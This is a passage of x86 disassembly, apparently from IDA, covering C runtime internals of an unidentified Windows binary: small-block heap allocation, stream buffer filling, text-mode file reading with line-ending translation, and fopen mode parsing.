		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41F581


loc_41F547:				; CODE XREF: sub_41F50E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41F56A
		cmp	[edi+4], ebx
		jbe	short loc_41F56A
		push	ebx
		push	ecx
		push	eax
		call	sub_41F716
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F5D9
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41F56A:				; CODE XREF: sub_41F50E+40j
					; sub_41F50E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41F547
		jmp	short loc_41F584
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F50E+37j
		mov	ebx, [ebp+arg_0]


loc_41F584:				; CODE XREF: sub_41F50E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41F5CA


loc_41F597:				; CODE XREF: sub_41F50E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41F5B6
		cmp	[edi+4], ebx
		jbe	short loc_41F5B6
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41F716
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F5D9
		mov	[edi+4], ebx


loc_41F5B6:				; CODE XREF: sub_41F50E+8Dj
					; sub_41F50E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41F597
		jmp	short loc_41F5CA
; ---------------------------------------------------------------------------


loc_41F5C7:				; CODE XREF: sub_41F50E+14j
		mov	ebx, [ebp+arg_0]


loc_41F5CA:				; CODE XREF: sub_41F50E+87j
					; sub_41F50E+B7j
		mov	esi, [esi]
		cmp	esi, off_43CE80
		jz	short loc_41F5E9
		jmp	loc_41F51C
; ---------------------------------------------------------------------------


loc_41F5D9:				; CODE XREF: sub_41F50E+54j
					; sub_41F50E+A3j
		mov	off_43CE80, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41F711
; ---------------------------------------------------------------------------


loc_41F5E9:				; CODE XREF: sub_41F50E+C4j
		mov	eax, offset off_43AE60
		mov	edi, eax


loc_41F5F0:				; CODE XREF: sub_41F50E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41F5FC
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41F608


loc_41F5FC:				; CODE XREF: sub_41F50E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41F6DD
		jmp	short loc_41F5F0
; ---------------------------------------------------------------------------


loc_41F608:				; CODE XREF: sub_41F50E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41F637


loc_41F626:				; CODE XREF: sub_41F50E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41F637
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41F626


loc_41F637:				; CODE XREF: sub_41F50E+116j
					; sub_41F50E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 2670C14h
		cmp	eax, esi
		jnz	loc_41F70F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41BF70
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41F69E
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41F674:				; CODE XREF: sub_41F50E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41F674


loc_41F69E:				; CODE XREF: sub_41F50E+15Ej
		mov	off_43CE80, edi
		lea	eax, [edi+2018h]


loc_41F6AA:				; CODE XREF: sub_41F50E+1A8j
		cmp	ecx, eax
		jnb	short loc_41F6BA
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41F6B8
		add	ecx, 8
		jmp	short loc_41F6AA
; ---------------------------------------------------------------------------


loc_41F6B8:				; CODE XREF: sub_41F50E+1A3j
		cmp	ecx, eax


loc_41F6BA:				; CODE XREF: sub_41F50E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F6DD:				; CODE XREF: sub_41F50E+F2j
		call	sub_41F216
		test	eax, eax
		jz	short loc_41F70F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43CE80, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F70F:				; CODE XREF: sub_41F50E+143j
					; sub_41F50E+1D6j
		xor	eax, eax


loc_41F711:				; CODE XREF: sub_41F50E+D6j
					; sub_41F50E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F50E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F716	proc near		; CODE XREF: sub_41F50E+4Ap
					; sub_41F50E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41F75B
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41F74A
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41F753
; ---------------------------------------------------------------------------


loc_41F74A:				; CODE XREF: sub_41F716+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F753:				; CODE XREF: sub_41F716+32j
		lea	eax, [edi+8]
		jmp	loc_41F829
; ---------------------------------------------------------------------------


loc_41F75B:				; CODE XREF: sub_41F716+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41F764
		mov	eax, esi


loc_41F764:				; CODE XREF: sub_41F716+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41F7AE


loc_41F76B:				; CODE XREF: sub_41F716+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41F7A1
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41F777:				; CODE XREF: sub_41F716+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F780
		inc	ebx
		inc	esi
		jmp	short loc_41F777
; ---------------------------------------------------------------------------


loc_41F780:				; CODE XREF: sub_41F716+64j
		cmp	esi, edx
		jnb	short loc_41F7D2
		cmp	eax, [ebp+var_4]
		jnz	short loc_41F78E
		mov	[ecx+4], esi
		jmp	short loc_41F79A
; ---------------------------------------------------------------------------


loc_41F78E:				; CODE XREF: sub_41F716+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41F833


loc_41F79A:				; CODE XREF: sub_41F716+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41F7A6
; ---------------------------------------------------------------------------


loc_41F7A1:				; CODE XREF: sub_41F716+59j
		movzx	esi, bl
		add	eax, esi


loc_41F7A6:				; CODE XREF: sub_41F716+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41F76B


loc_41F7AE:				; CODE XREF: sub_41F716+53j
		lea	esi, [ecx+8]


loc_41F7B1:				; CODE XREF: sub_41F716+EBj
					; sub_41F716+F2j
		cmp	esi, edi
		jnb	short loc_41F833
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41F833
		mov	al, [esi]
		test	al, al
		jnz	short loc_41F803
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41F7C9:				; CODE XREF: sub_41F716+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F7F3
		inc	ebx
		inc	eax
		jmp	short loc_41F7C9
; ---------------------------------------------------------------------------


loc_41F7D2:				; CODE XREF: sub_41F716+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F7E3
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41F7EC
; ---------------------------------------------------------------------------


loc_41F7E3:				; CODE XREF: sub_41F716+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41F7EC:				; CODE XREF: sub_41F716+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41F829
; ---------------------------------------------------------------------------


loc_41F7F3:				; CODE XREF: sub_41F716+B6j
		cmp	eax, edx
		jnb	short loc_41F80A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41F833
		mov	esi, ebx
		jmp	short loc_41F7B1
; ---------------------------------------------------------------------------


loc_41F803:				; CODE XREF: sub_41F716+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41F7B1
; ---------------------------------------------------------------------------


loc_41F80A:				; CODE XREF: sub_41F716+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F81B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41F824
; ---------------------------------------------------------------------------


loc_41F81B:				; CODE XREF: sub_41F716+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F824:				; CODE XREF: sub_41F716+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41F829:				; CODE XREF: sub_41F716+40j
					; sub_41F716+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41F835
; ---------------------------------------------------------------------------


loc_41F833:				; CODE XREF: sub_41F716+7Ej
					; sub_41F716+9Dj ...
		xor	eax, eax


loc_41F835:				; CODE XREF: sub_41F716+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F716	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F83A	proc near		; CODE XREF: sub_41BBE2+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41F874
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F8D4
; ---------------------------------------------------------------------------


loc_41F874:				; CODE XREF: sub_41F83A+26j
		jnb	short loc_41F8DB
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F8DB
		lea	eax, [ecx+edx]


loc_41F889:				; CODE XREF: sub_41F83A+59j
		cmp	eax, esi
		jnb	short loc_41F897
		cmp	byte ptr [eax],	0
		jnz	short loc_41F895
		inc	eax
		jmp	short loc_41F889
; ---------------------------------------------------------------------------


loc_41F895:				; CODE XREF: sub_41F83A+56j
		cmp	eax, esi


loc_41F897:				; CODE XREF: sub_41F83A+51j
		jnz	short loc_41F8DB
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F8CF
		cmp	esi, eax
		jbe	short loc_41F8CF
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F8C6
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F8C1


loc_41F8BA:				; CODE XREF: sub_41F83A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F8BA


loc_41F8C1:				; CODE XREF: sub_41F83A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F8CF
; ---------------------------------------------------------------------------


loc_41F8C6:				; CODE XREF: sub_41F83A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F8CF:				; CODE XREF: sub_41F83A+68j
					; sub_41F83A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F8D4:				; CODE XREF: sub_41F83A+38j
		mov	[ebp+var_4], 1


loc_41F8DB:				; CODE XREF: sub_41F83A:loc_41F874j
					; sub_41F83A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F83A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F8E3	proc near		; CODE XREF: sub_41BAFA+A9p
					; sub_41C52F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F9B7
		test	al, 40h
		jnz	loc_41F9B7
		test	al, 2
		jz	short loc_41F909
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F9B7
; ---------------------------------------------------------------------------


loc_41F909:				; CODE XREF: sub_41F8E3+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F91D
		push	esi
		call	sub_4241F7
		pop	ecx
		jmp	short loc_41F922
; ---------------------------------------------------------------------------


loc_41F91D:				; CODE XREF: sub_41F8E3+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F922:				; CODE XREF: sub_41F8E3+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F9BC
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F9A6
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F9A6
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F97B
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F964
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DD060[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F969
; ---------------------------------------------------------------------------


loc_41F964:				; CODE XREF: sub_41F8E3+6Bj
		mov	edi, offset dword_43D4E0


loc_41F969:				; CODE XREF: sub_41F8E3+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F97B
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F97B:				; CODE XREF: sub_41F8E3+62j
					; sub_41F8E3+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F998
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F998
		test	ch, 4
		jnz	short loc_41F998
		mov	dword ptr [esi+18h], 1000h


loc_41F998:				; CODE XREF: sub_41F8E3+9Fj
					; sub_41F8E3+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F9A6:				; CODE XREF: sub_41F8E3+55j
					; sub_41F8E3+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F9B7:				; CODE XREF: sub_41F8E3+Aj
					; sub_41F8E3+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F8E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F9BC	proc near		; CODE XREF: sub_41BAFA+90p
					; sub_41F8E3+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DD160
		jnb	loc_41FB99
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DD060h[eax*4]
		mov	eax, dword_4DD060[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41FB99
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41FA71
		test	dl, 2
		jnz	short loc_41FA71
		test	dl, 48h
		jz	short loc_41FA31
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41FA31
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41FA31:				; CODE XREF: sub_41F9BC+56j
					; sub_41F9BC+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	near ptr 2730000h
		nop
		test	eax, eax
		jnz	short loc_41FA84
		nop
		call	near ptr 26A0CACh
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41FA6C
		mov	dword_4DBDEC, 9
		mov	dword_4DBDF0, ecx
		jmp	loc_41FBAA
; ---------------------------------------------------------------------------


loc_41FA6C:				; CODE XREF: sub_41F9BC+99j
		cmp	eax, 6Dh
		jnz	short loc_41FA78


loc_41FA71:				; CODE XREF: sub_41F9BC+4Cj
					; sub_41F9BC+51j
		xor	eax, eax
		jmp	loc_41FBAD
; ---------------------------------------------------------------------------


loc_41FA78:				; CODE XREF: sub_41F9BC+B3j
		push	eax
		call	sub_420C7F
		pop	ecx
		jmp	loc_41FBAA
; ---------------------------------------------------------------------------


loc_41FA84:				; CODE XREF: sub_41F9BC+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41FB94
		test	edx, edx
		jz	short loc_41FAA9
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41FAA9
		or	al, 4
		jmp	short loc_41FAAB
; ---------------------------------------------------------------------------


loc_41FAA9:				; CODE XREF: sub_41F9BC+E2j
					; sub_41F9BC+E7j
		and	al, 0FBh


loc_41FAAB:				; CODE XREF: sub_41F9BC+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41FB8E


loc_41FAC3:				; CODE XREF: sub_41F9BC+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41FB7E
		cmp	al, 0Dh
		jz	short loc_41FADF
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41FB70
; ---------------------------------------------------------------------------


loc_41FADF:				; CODE XREF: sub_41F9BC+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41FAFD
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41FAF4
		add	[ebp+arg_8], 2
		jmp	short loc_41FB52
; ---------------------------------------------------------------------------


loc_41FAF4:				; CODE XREF: sub_41F9BC+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41FB70
; ---------------------------------------------------------------------------


loc_41FAFD:				; CODE XREF: sub_41F9BC+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2730000h
		test	eax, eax
		jnz	short loc_41FB25
		nop
		call	near ptr 26A0CACh
		test	eax, eax
		jnz	short loc_41FB6C


loc_41FB25:				; CODE XREF: sub_41F9BC+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41FB6C
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41FB47
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41FB52
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41FB70
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F9BC+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41FB57
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41FB57


loc_41FB52:				; CODE XREF: sub_41F9BC+136j
					; sub_41F9BC+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41FB6F
; ---------------------------------------------------------------------------


loc_41FB57:				; CODE XREF: sub_41F9BC+18Ej
					; sub_41F9BC+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_422F09
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41FB70


loc_41FB6C:				; CODE XREF: sub_41F9BC+167j
					; sub_41F9BC+16Dj
		mov	byte ptr [edi],	0Dh


loc_41FB6F:				; CODE XREF: sub_41F9BC+199j
		inc	edi


loc_41FB70:				; CODE XREF: sub_41F9BC+11Ej
					; sub_41F9BC+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41FAC3
		jmp	short loc_41FB8E
; ---------------------------------------------------------------------------


loc_41FB7E:				; CODE XREF: sub_41F9BC+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41FB8E
		or	al, 2
		mov	[esi], al


loc_41FB8E:				; CODE XREF: sub_41F9BC+101j
					; sub_41F9BC+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41FB94:				; CODE XREF: sub_41F9BC+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41FBAD
; ---------------------------------------------------------------------------


loc_41FB99:				; CODE XREF: sub_41F9BC+12j
					; sub_41F9BC+39j
		and	dword_4DBDF0, 0
		mov	dword_4DBDEC, 9


loc_41FBAA:				; CODE XREF: sub_41F9BC+ABj
					; sub_41F9BC+C3j
		or	eax, 0FFFFFFFFh


loc_41FBAD:				; CODE XREF: sub_41F9BC+B7j
					; sub_41F9BC+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F9BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FBB2	proc near		; CODE XREF: sub_41BBE2+126p
					; sub_41BBE2+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DBE54
		test	eax, eax
		jz	short loc_41FBCA
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41FBCA
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41FBCA:				; CODE XREF: sub_41FBB2+7j
					; sub_41FBB2+12j
		xor	eax, eax
		retn
sub_41FBB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FBCD	proc near		; CODE XREF: sub_41BE82+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DBFC0
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41FC06
		cmp	al, 72h
		jz	short loc_41FBFF
		cmp	al, 77h
		jnz	loc_41FD1A
		mov	ecx, 301h
		jmp	short loc_41FC0B
; ---------------------------------------------------------------------------


loc_41FBFF:				; CODE XREF: sub_41FBCD+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41FC0E
; ---------------------------------------------------------------------------


loc_41FC06:				; CODE XREF: sub_41FBCD+1Dj
		mov	ecx, 109h


loc_41FC0B:				; CODE XREF: sub_41FBCD+30j
		or	esi, 2


loc_41FC0E:				; CODE XREF: sub_41FBCD+37j
		push	1
		pop	edx


loc_41FC11:				; CODE XREF: sub_41FBCD+8Bj
					; sub_41FBCD+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41FD00
		cmp	edx, ebx
		jz	loc_41FD00
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41FC9F
		jz	short loc_41FC8F
		sub	eax, 2Bh
		jz	short loc_41FC79
		sub	eax, 19h
		jz	short loc_41FC6F
		sub	eax, 0Eh
		jz	short loc_41FC5A
		dec	eax
		jnz	loc_41FCF1
		cmp	[ebp+var_4], ebx
		jnz	loc_41FCF1
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC5A:				; CODE XREF: sub_41FBCD+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41FCF1
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC6F:				; CODE XREF: sub_41FBCD+6Aj
		test	cl, 40h
		jnz	short loc_41FCF1
		or	ecx, 40h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC79:				; CODE XREF: sub_41FBCD+65j
		test	cl, 2
		jnz	short loc_41FCF1
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC8F:				; CODE XREF: sub_41FBCD+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41FCF1
		or	ecx, eax
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC9F:				; CODE XREF: sub_41FBCD+5Ej
		sub	eax, 62h
		jz	short loc_41FCEC
		dec	eax
		jz	short loc_41FCD5
		sub	eax, 0Bh
		jz	short loc_41FCBE
		sub	eax, 6
		jnz	short loc_41FCF1
		test	ch, 0C0h
		jnz	short loc_41FCF1
		or	ch, 40h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCBE:				; CODE XREF: sub_41FBCD+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FCF1
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCD5:				; CODE XREF: sub_41FBCD+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FCF1
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCEC:				; CODE XREF: sub_41FBCD+D5j
		test	ch, 0C0h
		jz	short loc_41FCF8


loc_41FCF1:				; CODE XREF: sub_41FBCD+72j
					; sub_41FBCD+7Bj ...
		xor	edx, edx
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCF8:				; CODE XREF: sub_41FBCD+122j
		or	ch, 80h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FD00:				; CODE XREF: sub_41FBCD+4Aj
					; sub_41FBCD+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_42423B
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41FD1E


loc_41FD1A:				; CODE XREF: sub_41FBCD+25j
		xor	eax, eax
		jmp	short loc_41FD38
; ---------------------------------------------------------------------------


loc_41FD1E:				; CODE XREF: sub_41FBCD+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DBFBC
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41FD38:				; CODE XREF: sub_41FBCD+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FBCD	endp


